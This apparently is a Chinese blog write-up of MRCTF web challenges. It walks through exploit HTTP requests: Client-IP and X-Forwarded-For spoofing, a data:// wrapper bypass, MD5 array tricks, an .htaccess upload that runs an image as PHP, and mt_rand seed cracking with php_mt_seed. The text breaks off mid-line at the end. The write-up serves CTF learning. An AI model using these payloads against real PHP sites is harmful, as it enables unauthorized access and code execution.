Xiao Leung's Blog

专注网络安全研究

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MRCTF WP

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本文字数： 18k 阅读时长 ≈ 16 分钟

套娃

  • index注释源码
  $query = $_SERVER['QUERY_STRING'];

   if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
      die('Y0u are So cutE!');
  }
   if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
      echo "you are going to the next ~";
  }

  • 代码首先是对字符串的下划线进行统计，若大于0就直接die掉

  • 而在下面需要接收一个叫b_u_p_t这个参数，而且它不能等于23333而正则匹配却要有23333这里有个小trick就是%0a可以绕过。而php参数，空格和点都会变成下划线_.

  • pyload

  http://ecf196f2-c27e-427a-aecc-31e4ee6a3a28.merak-ctf.site/?b.u.p.t=23333%0a

  • 得到secrettw.php文件名

  • 右键看源码存在一个jsfuck

  <!--
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  -->
  • 解密得
  post me Merak
  • POST Merak=1，得到源码
  <?php 
  error_reporting(0); 
  include 'takeip.php';
  ini_set('open_basedir','.'); 
  include 'flag.php';

  if(isset($_POST['Merak'])){ 
      highlight_file(__FILE__); 
      die(); 
  } 


  function change($v){ 
      $v = base64_decode($v); 
      $re = ''; 
      for($i=0;$i<strlen($v);$i++){ 
          $re .= chr ( ord ($v[$i]) + $i*2 ); 
      } 
      return $re; 
  }
  echo 'Local access only!'."<br/>";
  $ip = getIp();
  if($ip!='127.0.0.1')
  echo "Sorry,you don't have permission!  Your ip is :".$ip;
  if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
  echo "Your REQUEST is:".change($_GET['file']);
  echo file_get_contents(change($_GET['file'])); }
  ?>

  • 绕过IP的方法Client-IP: 127.0.0.1,靶机没法访问外网，使用data协议去绕过file_get_contents.

  • 而change的破解方法也就是把加号改成减号即可。


  function dechange($v){ 
      $re = ''; 
      for($i=0;$i<strlen($v);$i++){ 
          $re .= chr ( ord ($v[$i]) - $i*2 ); 
      } 
      return base64_encode($re); 
  }

  • exp:

    GET /secrettw.php?2333=data:text/html;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI= HTTP/1.1
Host: c5d4aa30-f6d3-44bf-a066-e2ece3b8c939.merak-ctf.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Client-IP: 127.0.0.1

PYwebsite

XFF绕过

ez_bypass

  • 访问直接给源码

    include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

  • exp

​```http
POST /?id[]=1&gg[]=2 HTTP/1.1
Host: a3092e2c-32f4-44c0-903b-9d635e724034.merak-ctf.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://a3092e2c-32f4-44c0-903b-9d635e724034.merak-ctf.site
Connection: close
Referer: http://a3092e2c-32f4-44c0-903b-9d635e724034.merak-ctf.site/?id[]=1&gg[]=2
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

passwd=1234567a


## 你传你🐎呢

- hatcess

```http
  POST /upload.php HTTP/1.1
  Host: b0e25267-c1c2-44f7-8436-023984a8c150.merak-ctf.site
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------334048973639751065563777068351
  Content-Length: 434
  Origin: http://b0e25267-c1c2-44f7-8436-023984a8c150.merak-ctf.site
  Connection: close
  Referer: http://b0e25267-c1c2-44f7-8436-023984a8c150.merak-ctf.site/
  Cookie: PHPSESSID=042113335d44b84e0d7f11bd0059b8de
  Upgrade-Insecure-Requests: 1
  X-Forwarded-For: 127.0.0.1

  -----------------------------334048973639751065563777068351
  Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
  Content-Type: image/jpeg

    <FilesMatch "shell.jpg">
      SetHandler application/x-httpd-php
    </FilesMatch>

  -----------------------------334048973639751065563777068351
  Content-Disposition: form-data; name="submit"

  一é”去世
  -----------------------------334048973639751065563777068351--

Ezaudit

扫出源码泄露：www.zip

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???
  • 通过公钥去还原随机数种子后，算出私钥
  <?php

   $pass_now = "KVQP0LdJKRaV3n9D";
   $allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   for($j = 0; $j < strlen($pass_now); $j++)

   {

   for ($i = 0; $i <= 61; $i++) {

   if($pass_now[$j] == $allowable_characters[$i])

   {

   echo "$i $i 0 61 ";

   break;

   }

   }

   }
  ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

img![im